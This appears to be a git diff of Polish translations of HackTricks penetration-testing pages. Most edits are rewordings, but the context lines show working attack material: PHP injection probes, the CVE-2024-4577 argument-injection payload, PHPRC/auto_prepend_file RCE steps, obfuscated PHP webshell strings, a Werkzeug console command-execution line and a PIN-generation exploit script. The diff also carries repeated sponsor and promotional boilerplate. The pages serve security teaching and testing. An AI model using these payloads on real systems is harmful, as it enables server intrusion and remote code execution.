||||
* `?order=id;}//`: otrzymujemy komunikat o błędzie (`Parse error: syntax error, unexpected ';'`). Prawdopodobnie brakuje nam jednego lub więcej nawiasów.
|
||||
* `?order=id);}//`: otrzymujemy **ostrzeżenie**. To wydaje się w porządku.
|
||||
* `?order=id));}//`: otrzymujemy komunikat o błędzie (`Parse error: syntax error, unexpected ')' i`). Prawdopodobnie mamy za dużo zamykających nawiasów.
|
||||
* `?order=id));}//`: otrzymujemy komunikat o błędzie (`Parse error: syntax error, unexpected ')' i`). Prawdopodobnie mamy za dużo nawiasów zamykających.
|
||||
|
||||
### **RCE przez .httaccess**
|
||||
|
||||
|
@ -294,7 +294,7 @@ Różne powłoki .htaccess można znaleźć [tutaj](https://github.com/wireghoul
|
|||
|
||||
Jeśli znajdziesz lukę, która pozwala ci **modyfikować zmienne środowiskowe w PHP** (i inną, aby przesyłać pliki, chociaż z większym badaniem może to być możliwe do obejścia), możesz nadużyć tego zachowania, aby uzyskać **RCE**.
|
||||
|
||||
* [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): Ta zmienna środowiskowa pozwala na ładowanie dowolnych bibliotek podczas wykonywania innych binarnych plików (chociaż w tym przypadku może to nie działać).
|
||||
* [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): Ta zmienna środowiskowa pozwala na ładowanie dowolnych bibliotek podczas wykonywania innych binarnych (chociaż w tym przypadku może to nie działać).
|
||||
* **`PHPRC`** : Instrukcja dla PHP, **gdzie znaleźć plik konfiguracyjny**, zazwyczaj nazywany `php.ini`. Jeśli możesz przesłać własny plik konfiguracyjny, użyj `PHPRC`, aby wskazać PHP na niego. Dodaj wpis **`auto_prepend_file`**, określający drugi przesłany plik. Ten drugi plik zawiera normalny **kod PHP, który jest następnie wykonywany** przez środowisko PHP przed jakimkolwiek innym kodem.
|
||||
1. Prześlij plik PHP zawierający nasz shellcode
|
||||
2. Prześlij drugi plik, zawierający dyrektywę **`auto_prepend_file`**, instruującą preprocesor PHP do wykonania pliku, który przesłaliśmy w kroku 1
|
||||
|
@ -309,7 +309,7 @@ Jeśli znajdziesz lukę, która pozwala ci **modyfikować zmienne środowiskowe
|
|||
|
||||
### XAMPP CGI RCE - CVE-2024-4577
|
||||
|
||||
Serwer WWW analizuje żądania HTTP i przekazuje je do skryptu PHP wykonującego żądanie, takie jak [`http://host/cgi.php?foo=bar`](http://host/cgi.php?foo=bar\&ref=labs.watchtowr.com) jako `php.exe cgi.php foo=bar`, co pozwala na wstrzyknięcie parametrów. To pozwoli na wstrzyknięcie następujących parametrów, aby załadować kod PHP z treści:
|
||||
Serwer WWW analizuje żądania HTTP i przekazuje je do skryptu PHP wykonującego żądanie takie jak [`http://host/cgi.php?foo=bar`](http://host/cgi.php?foo=bar\&ref=labs.watchtowr.com) jako `php.exe cgi.php foo=bar`, co pozwala na wstrzyknięcie parametrów. To pozwoli na wstrzyknięcie następujących parametrów, aby załadować kod PHP z treści:
|
||||
```jsx
|
||||
-d allow_url_include=1 -d auto_prepend_file=php://input
|
||||
```
|
||||
|
@ -408,7 +408,7 @@ Content-Type: application/x-www-form-urlencoded
|
|||
|
||||
comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);
|
||||
```
|
||||
Dla bardziej szczegółowego wyjaśnienia sprawdź [https://ctf-wiki.org/web/php/php/#preg\_match](https://ctf-wiki.org/web/php/php/#preg\_match)
|
||||
Aby uzyskać bardziej szczegółowe wyjaśnienie, sprawdź [https://ctf-wiki.org/web/php/php/#preg\_match](https://ctf-wiki.org/web/php/php/#preg\_match)
|
||||
|
||||
### XOR Shellcode (wewnątrz eval)
|
||||
```bash
|
||||
|
@ -470,9 +470,9 @@ $___($_[_]); // ASSERT($_POST[_]);
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Zdobądź perspektywę hakera na swoje aplikacje webowe, sieć i chmurę
|
||||
**Uzyskaj perspektywę hakera na swoje aplikacje webowe, sieć i chmurę**
|
||||
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki w zabezpieczeniach, które mają realny wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów do zbierania niezbędnych dowodów, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki z rzeczywistym wpływem na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów do zbierania niezbędnych dowodów, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -486,7 +486,7 @@ Ucz się i ćwicz Hacking GCP: <img src="../../../.gitbook/assets/grte.png" alt=
|
|||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
* **Dziel się trikami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -10,22 +10,22 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Uzyskaj perspektywę hakera na swoje aplikacje webowe, sieć i chmurę
|
||||
**Uzyskaj perspektywę hakera na swoje aplikacje webowe, sieć i chmurę**
|
||||
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki w zabezpieczeniach, które mają rzeczywisty wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, i użyj automatycznych exploitów, aby zebrać niezbędne dowody, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki w zabezpieczeniach, które mają rzeczywisty wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów, aby zebrać niezbędne dowody, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## Console RCE
|
||||
|
||||
Jeśli debugowanie jest aktywne, możesz spróbować uzyskać dostęp do `/console` i zdobyć RCE.
|
||||
Jeśli debug jest aktywny, możesz spróbować uzyskać dostęp do `/console` i zdobyć RCE.
|
||||
```python
|
||||
__import__('os').popen('whoami').read();
|
||||
```
|
||||
|
@ -33,11 +33,11 @@ __import__('os').popen('whoami').read();
|
|||
|
||||
Istnieje również kilka exploitów w internecie, takich jak [ten](https://github.com/its-arun/Werkzeug-Debug-RCE) lub jeden w metasploit.
|
||||
|
||||
## Ochrona PIN - Przechodzenie Ścieżki
|
||||
## Pin Protected - Path Traversal
|
||||
|
||||
W niektórych przypadkach punkt końcowy **`/console`** będzie chroniony przez pin. Jeśli masz **vulnerability przechodzenia plików**, możesz wyciekować wszystkie niezbędne informacje do wygenerowania tego pinu.
|
||||
W niektórych przypadkach punkt końcowy **`/console`** będzie chroniony pinem. Jeśli masz **vulnerability** do przechodzenia przez pliki, możesz wyciekować wszystkie niezbędne informacje do wygenerowania tego pinu.
|
||||
|
||||
### Exploit PIN Konsoli Werkzeug
|
||||
### Werkzeug Console PIN Exploit
|
||||
|
||||
Wymuś stronę błędu debugowania w aplikacji, aby zobaczyć to:
|
||||
```
|
||||
|
@ -45,7 +45,7 @@ The console is locked and needs to be unlocked by entering the PIN.
|
|||
You can find the PIN printed out on the standard output of your
|
||||
shell that runs the server
|
||||
```
|
||||
W przypadku próby uzyskania dostępu do interfejsu debugowania Werkzeug pojawia się komunikat dotyczący scenariusza "console locked", wskazujący na konieczność podania PIN-u w celu odblokowania konsoli. Sugeruje się wykorzystanie PIN-u konsoli poprzez analizę algorytmu generowania PIN-u w pliku inicjalizacyjnym debugowania Werkzeug (`__init__.py`). Mechanizm generowania PIN-u można zbadać w [**repozytorium kodu źródłowego Werkzeug**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/\_\_init\_\_.py), chociaż zaleca się pozyskanie rzeczywistego kodu serwera za pomocą luki w przejściu plików z powodu potencjalnych rozbieżności wersji.
|
||||
W przypadku próby uzyskania dostępu do interfejsu debugowania Werkzeug pojawia się komunikat dotyczący scenariusza "console locked", wskazujący na konieczność podania PIN-u w celu odblokowania konsoli. Sugeruje się wykorzystanie PIN-u konsoli poprzez analizę algorytmu generowania PIN-ów w pliku inicjalizacyjnym debugowania Werkzeug (`__init__.py`). Mechanizm generowania PIN-ów można zbadać w [**repozytorium kodu źródłowego Werkzeug**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/\_\_init\_\_.py), chociaż zaleca się pozyskanie rzeczywistego kodu serwera za pomocą luki w przejściu plików z powodu potencjalnych rozbieżności wersji.
|
||||
|
||||
Aby wykorzystać PIN konsoli, potrzebne są dwa zestawy zmiennych, `probably_public_bits` i `private_bits`:
|
||||
|
||||
|
@ -58,7 +58,7 @@ Aby wykorzystać PIN konsoli, potrzebne są dwa zestawy zmiennych, `probably_pub
|
|||
|
||||
#### **`private_bits`**
|
||||
|
||||
* **`uuid.getnode()`**: Pobiera adres MAC bieżącej maszyny, przy czym `str(uuid.getnode())` przekształca go w format dziesiętny.
|
||||
* **`uuid.getnode()`**: Pobiera adres MAC bieżącej maszyny, a `str(uuid.getnode())` przekształca go w format dziesiętny.
|
||||
* Aby **określić adres MAC serwera**, należy zidentyfikować aktywny interfejs sieciowy używany przez aplikację (np. `ens3`). W przypadku niepewności, **wycieknij `/proc/net/arp`**, aby znaleźć identyfikator urządzenia, a następnie **wyodrębnij adres MAC** z **`/sys/class/net/<device id>/address`**.
|
||||
* Konwersję adresu MAC w formacie szesnastkowym na dziesiętny można wykonać, jak pokazano poniżej:
|
||||
|
||||
|
@ -111,9 +111,9 @@ try:
|
|||
```
|
||||
</details>
|
||||
|
||||
Po zebraniu wszystkich niezbędnych danych, skrypt exploit może zostać uruchomiony w celu wygenerowania PIN-u konsoli Werkzeug:
|
||||
Po zebraniu wszystkich niezbędnych danych, skrypt exploitacyjny może zostać uruchomiony w celu wygenerowania PIN-u konsoli Werkzeug:
|
||||
|
||||
Po zebraniu wszystkich niezbędnych danych, skrypt exploit może zostać uruchomiony w celu wygenerowania PIN-u konsoli Werkzeug. Skrypt wykorzystuje zebrane `probably_public_bits` i `private_bits` do stworzenia hasha, który następnie przechodzi dalsze przetwarzanie, aby wygenerować ostateczny PIN. Poniżej znajduje się kod Pythona do wykonania tego procesu:
|
||||
Po zebraniu wszystkich niezbędnych danych, skrypt exploitacyjny może zostać uruchomiony w celu wygenerowania PIN-u konsoli Werkzeug. Skrypt wykorzystuje zebrane `probably_public_bits` i `private_bits` do stworzenia hasha, który następnie przechodzi dalsze przetwarzanie w celu uzyskania ostatecznego PIN-u. Poniżej znajduje się kod Pythona do wykonania tego procesu:
|
||||
```python
|
||||
import hashlib
|
||||
from itertools import chain
|
||||
|
@ -169,13 +169,13 @@ Jeśli używasz **starej wersji** Werkzeug, spróbuj zmienić **algorytm haszowa
|
|||
|
||||
Jak zaobserwowano w [**tym zgłoszeniu**](https://github.com/pallets/werkzeug/issues/2833), Werkzeug nie zamyka żądania z znakami Unicode w nagłówkach. Jak wyjaśniono w [**tym opracowaniu**](https://mizu.re/post/twisty-python), może to spowodować podatność na CL.0 Request Smuggling.
|
||||
|
||||
Dzieje się tak, ponieważ w Werkzeug możliwe jest wysyłanie niektórych **znaków Unicode**, co spowoduje **złamanie** serwera. Jednak jeśli połączenie HTTP zostało utworzone z nagłówkiem **`Connection: keep-alive`**, ciało żądania nie zostanie odczytane, a połączenie pozostanie otwarte, więc **ciało** żądania będzie traktowane jako **następne żądanie HTTP**.
|
||||
Dzieje się tak, ponieważ w Werkzeug możliwe jest wysyłanie niektórych **znaków Unicode**, co spowoduje **awarię** serwera. Jednak jeśli połączenie HTTP zostało utworzone z nagłówkiem **`Connection: keep-alive`**, ciało żądania nie zostanie odczytane, a połączenie pozostanie otwarte, więc **ciało** żądania będzie traktowane jako **następne żądanie HTTP**.
|
||||
|
||||
## Zautomatyzowane Wykorzystanie
|
||||
|
||||
{% embed url="https://github.com/Ruulian/wconsole_extractor" %}
|
||||
|
||||
## Odniesienia
|
||||
## Źródła
|
||||
|
||||
* [**https://www.daehee.com/werkzeug-console-pin-exploit/**](https://www.daehee.com/werkzeug-console-pin-exploit/)
|
||||
* [**https://ctftime.org/writeup/17955**](https://ctftime.org/writeup/17955)
|
||||
|
@ -184,7 +184,7 @@ Dzieje się tak, ponieważ w Werkzeug możliwe jest wysyłanie niektórych **zna
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę
|
||||
**Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę**
|
||||
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne podatności z rzeczywistym wpływem na biznes.** Użyj naszych 20+ niestandardowych narzędzi do mapowania powierzchni ataku, znajdowania problemów z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów do zbierania niezbędnych dowodów, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
|
||||
|
@ -199,8 +199,8 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -10,22 +10,22 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę
|
||||
**Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę**
|
||||
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki w zabezpieczeniach, które mają rzeczywisty wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj automatycznych exploitów, aby zebrać niezbędne dowody, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki w zabezpieczeniach, które mają rzeczywisty wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi do mapowania powierzchni ataku, znajdowania problemów z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów do zbierania niezbędnych dowodów, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
### Nagłówek hosta
|
||||
|
||||
Kilka razy zaplecze ufa **nagłówkowi Host**, aby wykonać pewne działania. Na przykład, może użyć jego wartości jako **domeny do wysłania resetu hasła**. Gdy otrzymasz e-mail z linkiem do zresetowania hasła, używaną domeną jest ta, którą wpisałeś w nagłówku Host. Następnie możesz zażądać resetu hasła innych użytkowników i zmienić domenę na kontrolowaną przez siebie, aby ukraść ich kody resetowania hasła. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
|
||||
Kilka razy backend ufa **nagłówkowi Host**, aby wykonać pewne działania. Na przykład, może użyć jego wartości jako **domeny do wysłania resetu hasła**. Gdy otrzymasz e-mail z linkiem do zresetowania hasła, używaną domeną jest ta, którą wpisałeś w nagłówku Host. Następnie możesz zażądać resetu hasła innych użytkowników i zmienić domenę na kontrolowaną przez siebie, aby ukraść ich kody resetowania hasła. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
|
||||
|
||||
{% hint style="warning" %}
|
||||
Zauważ, że możliwe jest, że nie musisz nawet czekać, aż użytkownik kliknie link do resetowania hasła, aby uzyskać token, ponieważ nawet **filtry spamowe lub inne urządzenia/boty pośredniczące mogą kliknąć w niego, aby go przeanalizować**.
|
||||
|
@ -33,8 +33,8 @@ Zauważ, że możliwe jest, że nie musisz nawet czekać, aż użytkownik klikni
|
|||
|
||||
### Booleany sesji
|
||||
|
||||
Czasami, gdy poprawnie zakończysz weryfikację, zaplecze **po prostu doda boolean z wartością "True" do atrybutu bezpieczeństwa twojej sesji**. Następnie inny punkt końcowy będzie wiedział, czy pomyślnie przeszedłeś tę kontrolę.\
|
||||
Jednak jeśli **przejdziesz kontrolę** i twoja sesja otrzyma tę wartość "True" w atrybucie bezpieczeństwa, możesz spróbować **uzyskać dostęp do innych zasobów**, które **zależą od tego samego atrybutu**, ale do których **nie powinieneś mieć uprawnień**. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a).
|
||||
Czasami, gdy poprawnie zakończysz weryfikację, backend **po prostu doda boolean z wartością "True" do atrybutu bezpieczeństwa twojej sesji**. Następnie inny punkt końcowy będzie wiedział, czy pomyślnie przeszedłeś tę kontrolę.\
|
||||
Jednak jeśli **przejdziesz kontrolę** i twoja sesja otrzyma tę wartość "True" w atrybucie bezpieczeństwa, możesz spróbować **uzyskać dostęp do innych zasobów**, które **zależą od tego samego atrybutu**, ale do których **nie powinieneś mieć uprawnień** do dostępu. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a).
|
||||
|
||||
### Funkcjonalność rejestracji
|
||||
|
||||
|
@ -50,16 +50,16 @@ Zarejestruj e-mail, przed potwierdzeniem zmień e-mail, a następnie, jeśli now
|
|||
|
||||
### Metoda TRACE
|
||||
|
||||
Programiści mogą zapomnieć o wyłączeniu różnych opcji debugowania w środowisku produkcyjnym. Na przykład, metoda HTTP `TRACE` jest zaprojektowana do celów diagnostycznych. Jeśli jest włączona, serwer internetowy odpowie na żądania, które używają metody `TRACE`, echoując w odpowiedzi dokładne żądanie, które zostało odebrane. To zachowanie jest często nieszkodliwe, ale czasami prowadzi do ujawnienia informacji, takich jak nazwy wewnętrznych nagłówków uwierzytelniających, które mogą być dołączane do żądań przez odwrotne proxy.![Image for post](https://miro.medium.com/max/60/1\*wDFRADTOd9Tj63xucenvAA.png?q=20)
|
||||
Programiści mogą zapomnieć wyłączyć różne opcje debugowania w środowisku produkcyjnym. Na przykład, metoda HTTP `TRACE` jest zaprojektowana do celów diagnostycznych. Jeśli jest włączona, serwer internetowy odpowie na żądania, które używają metody `TRACE`, echoując w odpowiedzi dokładne żądanie, które zostało odebrane. To zachowanie jest często nieszkodliwe, ale czasami prowadzi do ujawnienia informacji, takich jak nazwy wewnętrznych nagłówków uwierzytelniających, które mogą być dołączane do żądań przez odwrotne proxy.![Image for post](https://miro.medium.com/max/60/1\*wDFRADTOd9Tj63xucenvAA.png?q=20)
|
||||
|
||||
![Image for post](https://miro.medium.com/max/1330/1\*wDFRADTOd9Tj63xucenvAA.png)
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę
|
||||
**Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę**
|
||||
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki w zabezpieczeniach, które mają rzeczywisty wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj automatycznych exploitów, aby zebrać niezbędne dowody, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki w zabezpieczeniach, które mają rzeczywisty wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi do mapowania powierzchni ataku, znajdowania problemów z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów do zbierania niezbędnych dowodów, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -73,7 +73,7 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Get a hacker's perspective on your web apps, network, and cloud
|
||||
**Get a hacker's perspective on your web apps, network, and cloud**
|
||||
|
||||
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
|
||||
|
||||
|
@ -25,11 +25,11 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
## What is command Injection?
|
||||
|
||||
**Command injection** pozwala atakującemu na wykonanie dowolnych poleceń systemu operacyjnego na serwerze hostującym aplikację. W rezultacie aplikacja i wszystkie jej dane mogą być całkowicie skompromitowane. Wykonanie tych poleceń zazwyczaj pozwala atakującemu uzyskać nieautoryzowany dostęp lub kontrolę nad środowiskiem aplikacji i systemem, na którym działa.
|
||||
**Command injection** pozwala na wykonanie dowolnych poleceń systemu operacyjnego przez atakującego na serwerze hostującym aplikację. W rezultacie aplikacja i wszystkie jej dane mogą być całkowicie skompromitowane. Wykonanie tych poleceń zazwyczaj pozwala atakującemu uzyskać nieautoryzowany dostęp lub kontrolę nad środowiskiem aplikacji i systemem bazowym.
|
||||
|
||||
### Context
|
||||
|
||||
W zależności od **tego, gdzie wprowadzane są dane** możesz potrzebować **zakończyć cytowany kontekst** (używając `"` lub `'`) przed poleceniami.
|
||||
W zależności od **tego, gdzie twoje dane wejściowe są wstrzykiwane**, może być konieczne **zakończenie cytowanego kontekstu** (używając `"` lub `'`) przed poleceniami.
|
||||
|
||||
## Command Injection/Execution
|
||||
```bash
|
||||
|
@ -164,8 +164,8 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Uzyskaj perspektywę hakera na swoje aplikacje webowe, sieć i chmurę
|
||||
**Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę**
|
||||
|
||||
**Znajdź i zgłoś krytyczne, podatne na ataki luki, które mają rzeczywisty wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów do zbierania niezbędnych dowodów, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
**Znajdź i zgłoś krytyczne, podatne na ataki luki z rzeczywistym wpływem na biznes.** Użyj naszych 20+ niestandardowych narzędzi do mapowania powierzchni ataku, znajdowania problemów z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów do zbierania niezbędnych dowodów, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
|
|
@ -8,21 +8,21 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Uzyskaj perspektywę hakera na swoje aplikacje webowe, sieć i chmurę
|
||||
**Uzyskaj perspektywę hakera na swoje aplikacje webowe, sieć i chmurę**
|
||||
|
||||
